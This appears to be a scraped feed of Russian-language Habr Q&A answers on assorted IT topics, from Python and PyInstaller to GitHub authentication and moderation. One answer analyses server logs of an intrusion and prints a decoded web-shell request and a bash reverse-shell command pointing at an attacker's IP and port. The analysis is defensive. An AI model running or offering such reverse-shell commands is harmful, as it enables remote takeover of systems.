Задать вопрос
  • Можно ли написать OS на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сейчас включу максимального зануду и скажу, что не всё так уж однозначно.
    Вопрос в том, что называть языком. Если языком считать синтаксис, то вполне можно написать транспилер, который будет транслировать питоновский код в сишный код, например, а его уже в машинный.
    ОС, написанная на Си - это скомпилированный машинный код - результат работы компилятора над исходником на языке Си. Да, стандартный компилятор Си может откомпилировать машинный код, а потом стандартный сборщик превратит его в набор файлов операционной системы.
    Стандартный транслятор питона в его байткод и интерпретатор этого байткода не смогут работать самостоятельно без операционной системы, но разве в условии вопроса было сказано про стандартный интерпретатор?

    В общем, писать ОС на питоне - очень странная идея, но и микроскопом теоретически можно попробовать "разминировать" противопехотную мину, особенно если привязать его к длинной штанге и снабдить зарядом взрывчатки, однако это чревато большими и бессмысленными страданиями.

    Простой ответ - нет, питон не предназначен для написания ОС, но использовать его для разработки большОго количества элементов ОС можно.
    Ответ написан
    2 комментария
  • Как скопировать 1ТБ Фото с айфона на мак без потерь?

    @Drno
    да кабелем подключить, открыть айфон как флешку и скопировать папку
    Ответ написан
    4 комментария
  • Как сделать рамку вокруг тени текста?

    Dimastik86
    @Dimastik86
    (isset($brain))?: die;
    1. можно сделать тупо шрифтом
    2. можно сделать тупо вектором
    3. ня

    Ответ написан
    5 комментариев
  • Замена оперативной памяти Acer Extenza 5635G?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Предположу, что на данном ископаемом стоит HDD, а значит:

    есть ли смысл делать апгрейд оперативы

    В Вашем случае, без замены на SSD - практически нет.

    какую лучше поставить

    На Вашем скрине указаны максимальные параметры оперативы: DDR3 1066Mhz / 8Gb.

    сколько и даст ли она прирост к работе

    Без замены на SSD - производительность увеличится на единицы процентов.

    UPD:
    Вы ответили:
    SSD стоит ADATA SP550


    Еще нашел Ваш коммент к ответу ниже (на Вашем скрине тоже написано dual channel):
    Свободных слотов нет их у меня два в одном 2gb во втором 4gb

    Заменяем на DDR3 1066Mhz 4Gb x2 (берем плашки памяти из одной партии), за счет двух-канала и увеличения объема памяти на 2Gb - получим увеличение производительности до 10-20% в приложениях, которые очень любят жрать оперативу (либо в общем числе приложений, которые не вмещались в объем по оперативе в 6Gb), в остальных до 5-10%.
    Ответ написан
    5 комментариев
  • Как в формуле использовать значение с другой ячейки?

    Dr_Elvis
    @Dr_Elvis
    В гугле забанен
    Так и напишите, английскими буквами, без кавычек
    =COUNTIF(X:X; A1)
    Ответ написан
    1 комментарий
  • В чём разница между list() и []?

    NeiroNx
    @NeiroNx
    Программист
    в том что range это итератор, а лист это список. Итератор возвращает значение когда его спросят, а список это хранилище всех значений. Функция лист - опрашивает из итератора все значения которые он может вернуть.

    разница в том что либо вы помните что у вас (начало,конец,шаг,текущее положение) или вы помните (10,20,30,40,50,60,...100500) - в случае списка ему придется занять память всеми значениями, а в случае итератора лишь хранить параметры для извлечения нового значения.
    Ответ написан
    Комментировать
  • Что за почтовый ящик HealthMailboxLUTF212?

    @NortheR73
    системный инженер
    Срочно сдавайте анализы:
    1. HealthChecker.ps1
    2.Test-ProxyLogon.ps1

    Дополнительно:
    July 2021 Exchange Server Security Updates - более свежих вроде пока нет
    Ответ написан
  • Что нужно написать в 'b', чтобы не произошло экранирование 'a'?

    Vindicar
    @Vindicar
    RTFM!
    Я бы использовал b = repr(a).
    Если нужно убрать кавычки - b = repr(a)[1:-1]
    Ответ написан
    Комментировать
  • Почему отключается PostgreSQL?

    2ord
    @2ord
    Connection string включает SSL, насколько я понял?

    psycopg2.InterfaceError: connection already closed
    Дальнейшие попытки обращения к БД дают ту же ошибку,
    psycopg2.InterfaceError: connection already closed
    Ошибка исправляется только перезапуском postgresql и затем приложения.
    Что в логах? Мониторинг СУБД имеется? Что там интересного в тот момент?
    Какой лимит соединений выставлен?
    Зачем открывается соединение СУБД каждый раз? Используй connection pool.
    Ответ написан
    1 комментарий
  • Как определить с какого порта происходит несанкционированный доступ по логам?

    firedragon
    @firedragon
    Не джун-мидл-сеньор, а трус-балбес-бывалый.
    смотрите за адресом
    176.59.41.128
    Первый запрос загрузка эксплоита расшифруйте онлайн энкодером base64 строку
    Второй запрос /downloads/sys.php?cmd=
    После равно идет строка, видимо тоже в base64 расшифруйте там будет что то типа
    ./shell.sh s4242

    Как я и предполагал получилось следующее
    https://www.base64decode.org/
    скрин нечеткий поэтому появился иероглиф, но как видим четко виден адрес и порт, собственно адрес атакуещего, а порт как видите 4252 плюс перенаправление потоков ввода вывода
    /in/bash -l >P/dev葉cp/176.59.41.128/4242 0<&1 2>&1
    Ответ написан
    2 комментария
  • После сборки Python проекта pyinstaller – ошибка, проблема с файлами изображений. Как исправить?

    @pASdfsa
    Решение номер 1, сложнее.
    Для добавления сторонних файлов используются следующие параметры:
    --add-data - для добавления текстовых файлов данных;
    --add-binary - для добавления бинарных данных.
    Правило добавления: имя-файла;имя_папки
    Например, если все дополнительные файлы лежат в папке models:
    pyinstaller -F --add-data coco-dataset.labels;models --add-data yolov3-tiny.cfg;models --add-data yolov3-tiny.weights;models pine.py

    А в в самом скрипте необходимо задать следующую функцию:
    import os
    import sys
    def resource_path(relative_path):
        """ Get absolute path to resource, works for dev and for PyInstaller """
        if getattr(sys, 'frozen', False):
            base_path = sys._MEIPASS
        else:
            base_path = os.getcwd()
        return os.path.join(base_path, relative_path)

    Решение номер 2, легче.
    Просто скинь в дерикторию там где exe, все ассеты(.mp3,.png,.rar и тд)
    Ответ написан
    1 комментарий
  • Как использовать в discord.py по своему?

    fenrir1121
    @fenrir1121 Куратор тега discord.py
    Начни с документации
    Как заставить бота создавать такие "даты" ?

    Это обычная строка формата <t:TIMESTAMP:STYLE>, куда передается время и стиль в котором его вывести.
    Стиль на скриншоте это Short Date/Time, для проверки можете скопировать строку из примера ниже в любой чат, она преобразуется в дату и время, соответствующее таймштампу.
    <t:1667384394:f>
    Документация
    Ответ написан
    3 комментария
  • Как авторизоваться на GitHub?

    Но когда доходит дело до пароля Я просто не могу туда ничего вводить не цифры не русские буквы не английские

    Это нормально. Ты на самом деле вводишь пароль, но чтобы со стороны нельзя было сказать даже какой длины у тебя пароль - ничего в консоль не выводится.
    Но вроде как в GH так аутентифицироваться нельзя - должно работать окошко с oauth.

    Для надёжности советую настроить SSH-ключи, чтобы не тратить время на http-аутентификацию
    Ответ написан
    Комментировать
  • Как авторизоваться на GitHub?

    sergey-kuznetsov
    @sergey-kuznetsov Куратор тега Git
    Автоматизатор
    После нажатия «Войти через браузер» должен открыться собственно браузер со страницей гитхаба, где вы должны нажать кнопочку «Разрешить».
    Если вы не разрешили или что-то пошло не так, то только тогда вылезет предложение ввести пароль в терминале. Но там вместо пароля нужно вводить не ваш гитхабовский пароль, а текст токена, который вы должны были заранее создать. Токен вам покажут только один раз, поэтому скопируйте его в буфер и сохраните где-нибудь.
    И вставляйте его в терминале тоже через буфер обмена, чтобы не ошибиться. При вводе паролей с терминале их никогда не видно, не пугайтесь и просто жмите Enter после ввода.
    Ответ написан
    Комментировать
  • Как можно улучшить модерирование?

    0xD34F
    @0xD34F
    Через форму обратной связи изложить администрации свои гениальные идеи (нет, это не насмешка, не сарказм - там такой пункт есть в выпадающем списке "тема"). Дальше надеяться, что администрация вас услышит, согласиться с услышанным и укажет модераторам на необходимость смены поведенческих паттернов.
    Ответ написан
    2 комментария
  • Как можно улучшить модерирование?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Разумеется, он не знает местных заморочек, и накосячил.

    Абсолютно все перед регистрацией ставят галочку, что прочитали и приняли правила.

    А не давать пинка под зад, "Пшёл вон, дурачина", молча удаляя вопрос.

    При удалении вопроса, его автор получает уведомление с указанием причины удаления.
    Ответ написан
    Комментировать
  • Как можно улучшить модерирование?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    3.1 и 3.8 вовсе не формальные пункты. Никогда не видели спам-вопросов, где текст картинкой плюс ссылка и нашарашено тегов по максимуму? А я видел :)
    Все регистрирующиеся обязаны прочитать правила. Никто их, конечно же сразу не читает - но незнание закона не освобождает от ответственности.

    ЗЫ: Вообще обсуждать действия модераторов или политику модерации - уже само по себе есть нарушение. Потому что еще со времен FIDO все правила укладывались всегда в два пункта:

    1. Модератор всегда прав
    2. Если модератор неправ, см. п.1
    Ответ написан
    2 комментария
  • Как можно улучшить модерирование?

    TosterModerator
    @TosterModerator Куратор тега Хабр Q&A
    Модератор Хабр Q&A
    8.2. Не рекомендуется инициировать обсуждения действий модераторов и администрации Сервиса. Инициирование таких обсуждений неизбежно влечёт за собой высказывание предположений/заблуждений пользователями, не знакомыми с полной картиной событий/нарушений, что вынуждает сотрудников Сервиса отслеживать ход таких дискуссий и давать дополнительные разъяснения, в то время как у них, как правило, имеются более актуальные задачи.
    Ответ написан
    2 комментария
  • Что знает dpi о мессенджерах?

    freeExec
    @freeExec
    Участник OpenStreetMap
    Что ты общаешься в конкретном мессенжере. Что ты хотел вообще услышать. Информация собирается и в дальнейшем может быть размотана назад, плоть до покупке симки и твоей фотки с камеры.
    Ответ написан
    Комментировать
  • Что знает dpi о мессенджерах?

    firedragon
    @firedragon
    Не джун-мидл-сеньор, а трус-балбес-бывалый.
    Довольно много.
    При регистрации в сети остается триангуляция до симки. То есть тебя сразу вычисляют с точностью 100 - 1500 метров.
    Дальше ты платишь за симку, 2 раза и у них уже есть набор видео где можно сличать персонажей.
    Хоть один раз попадал в милицию и твоя морда в системе.
    Барыги на рынке кстати стучат операм.
    Дальше сугубо технические детали. все твои адреса куда ты там ходил.
    Если это российский ресурс, то все данные предоставят по запросу.

    Но ты кстати спрашивай, уточняй
    Ответ написан
    3 комментария